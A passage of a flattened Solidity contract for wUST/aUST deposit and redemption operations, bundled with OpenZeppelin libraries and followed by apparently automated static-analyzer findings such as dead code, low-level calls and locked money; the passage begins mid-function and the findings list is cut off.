getCurrentStatus() public view override returns (Info memory) { return currentStatus; } function _init( Type _typ, address _operator, uint256 _amount, address _swapper, address _swapDest, bool _autoFinish ) private onlyRouter checkStopped { require(currentStatus.status == Status.IDLE, "Operation: running"); require(_amount >= 10 ether, "Operation: amount must be more than 10"); currentStatus = Info({ status: Status.RUNNING, typ: _typ, operator: _operator, amount: _amount, input: address(0x0), output: address(0x0), swapper: _swapper, swapDest: _swapDest }); if (_typ == Type.DEPOSIT) { currentStatus.input = address(wUST); currentStatus.output = address(aUST); wUST.safeTransferFrom(super._msgSender(), address(this), _amount); wUST.burn(_amount, terraAddress); emit InitDeposit(_operator, _amount, terraAddress); } else if (_typ == Type.REDEEM) { currentStatus.input = address(aUST); currentStatus.output = address(wUST); aUST.safeTransferFrom(super._msgSender(), address(this), _amount); aUST.burn(_amount, terraAddress); emit InitRedemption(_operator, _amount, terraAddress); } else { revert("Operation: invalid operation type"); } if (_autoFinish) { emit AutoFinishEnabled(address(this)); } } function initDepositStable( address _operator, uint256 _amount, address _swapper, address _swapDest, bool _autoFinish ) public override { _init( Type.DEPOSIT, _operator, _amount, _swapper, _swapDest, _autoFinish ); } function initRedeemStable( address _operator, uint256 _amount, address _swapper, address _swapDest, bool _autoFinish ) public override { _init( Type.REDEEM, _operator, _amount, _swapper, _swapDest, _autoFinish ); } function _finish(uint256 _minAmountOut) private onlyGranted checkStopped returns (address, uint256) { // check status require(currentStatus.status == Status.RUNNING, "Operation: idle"); WrappedAsset output = WrappedAsset(currentStatus.output); uint256 amount = output.balanceOf(address(this)); address operator = currentStatus.operator; address swapper = currentStatus.swapper; require(amount > 0, "Operation: not enough token"); if (swapper != address(0x0)) { output.safeIncreaseAllowance(swapper, amount); try ISwapper(swapper).swapToken( address(output), currentStatus.swapDest, amount, _minAmountOut, operator ) {} catch { output.safeDecreaseAllowance(swapper, amount); output.safeTransfer(operator, amount); } } else { output.safeTransfer(operator, amount); } // state reference gas optimization Type typ = currentStatus.typ; if (typ == Type.DEPOSIT) { emit FinishDeposit(operator, amount); } else if (typ == Type.REDEEM) { emit FinishRedemption(operator, amount); } // reset currentStatus = DEFAULT_STATUS; return (address(output), amount); } function finish() public override { _finish(0); } function finish(uint256 _minAmountOut) public override { _finish(_minAmountOut); } function finishDepositStable() public override { _finish(0); } function finishRedeemStable() public override { _finish(0); } function halt() public override onlyController { currentStatus.status = Status.STOPPED; } function recover() public override onlyController { if (currentStatus.operator == address(0x0)) { currentStatus.status = Status.IDLE; } else { currentStatus.status = Status.RUNNING; } } function emergencyWithdraw(address _token, address _to) public override onlyController { require( currentStatus.status == Status.STOPPED, "Operation: not an emergency" ); if (currentStatus.operator != address(0x0)) { require( currentStatus.output != _token, "Operation: withdrawal rejected" ); } IERC20(_token).safeTransfer( _to, IERC20(_token).balanceOf(address(this)) ); } function emergencyWithdraw(address payable _to) public override onlyController { require( currentStatus.status == Status.STOPPED, "Operation: not an emergency" ); _to.transfer(address(this).balance); } } // File: @openzeppelin/contracts/math/SafeMath.sol // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: @openzeppelin/contracts/utils/Context.sol // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts-upgradeable/proxy/Initializable.sol // SPDX-License-Identifier: MIT // solhint-disable-next-line compiler-version pragma solidity >=0.4.24 <0.8.0; import "../utils/AddressUpgradeable.sol"; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function _isConstructor() private view returns (bool) { return !AddressUpgradeable.isContract(address(this)); } } // File: contracts/assets/WrappedAsset.sol // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; interface WrappedAsset is IERC20 { event Burn(address indexed _sender, bytes32 indexed _to, uint256 amount); function burn(uint256 amount, bytes32 to) external; } // File: contracts/utils/Operator.sol // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; pragma experimental ABIEncoderV2; import {Context} from "@openzeppelin/contracts/utils/Context.sol"; contract Operator is Context { address public owner; address public operator; constructor() { owner = _msgSender(); operator = _msgSender(); } modifier onlyOwner { require(checkOwner(), "Operator: owner access denied"); _; } function checkOwner() public view returns (bool) { return _msgSender() == owner; } modifier onlyOperator { require(checkOperator(), "Operator: operator access denied"); _; } function checkOperator() public view returns (bool) { return _msgSender() == operator; } modifier onlyGranted { require(checkGranted(), "Operator: access denied"); _; } function checkGranted() public view returns (bool) { return checkOwner() || checkOperator(); } function transferOwnership(address _owner) public onlyOwner { owner = _owner; } function transferOperator(address _operator) public onlyOwner { operator = _operator; } } // File: contracts/operations/OperationACL.sol // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; pragma experimental ABIEncoderV2; import {Context} from "@openzeppelin/contracts/utils/Context.sol"; abstract contract OperationACL is Context { address public owner; address public router; address public controller; constructor() { owner = _msgSender(); router = _msgSender(); controller = _msgSender(); } modifier onlyOwner { require(_msgSender() == owner, "OperationACL: owner access denied"); _; } modifier onlyRouter { require(_msgSender() == router, "OperationACL: router access denied"); _; } modifier onlyController { require( _msgSender() == controller, "OperationACL: controller access denied" ); _; } modifier onlyGranted { address sender = _msgSender(); require( sender == owner || sender == router || sender == controller, "OperationACL: denied" ); _; } function transferOwnership(address _owner) public onlyOwner { owner = _owner; } function transferRouter(address _router) public onlyOwner { router = _router; } function transferController(address _controller) public onlyOwner { controller = _controller; } } // File: contracts/swapper/ISwapper.sol // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; interface ISwapper { function swapToken( address _from, address _to, uint256 _amount, uint256 _minAmountOut, address _beneficiary ) external; } // File: @openzeppelin/contracts/utils/Address.sol // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
[]
[{"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol": [33]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol": [156, 157, 158, 159]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol": [104, 105, 106]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol": [160, 161, 162, 163, 164, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol": [80, 81, 79]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol": [32, 33, 34, 35, 26, 27, 28, 29, 30, 31]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol": [89, 90, 91]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol": [53, 54, 55, 56, 57, 58, 59]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol": [129, 130, 131]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol": [139, 140, 141, 142, 143, 144, 145]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol": [114, 115, 116, 117, 118, 119, 120, 121]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol": [3]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol": [143]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol": [57]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol": [119]}}]
[]
[{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 240, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 295, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 312, "severity": 1}, {"rule": "SOLIDITY_LOCKED_MONEY", "line": 84, "severity": 3}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 6, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 6, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 345, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 345, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 564, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 564, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 646, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 646, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 726, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 726, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 756, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 756, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 814, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 814, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 829, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 829, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 887, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 887, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 952, "severity": 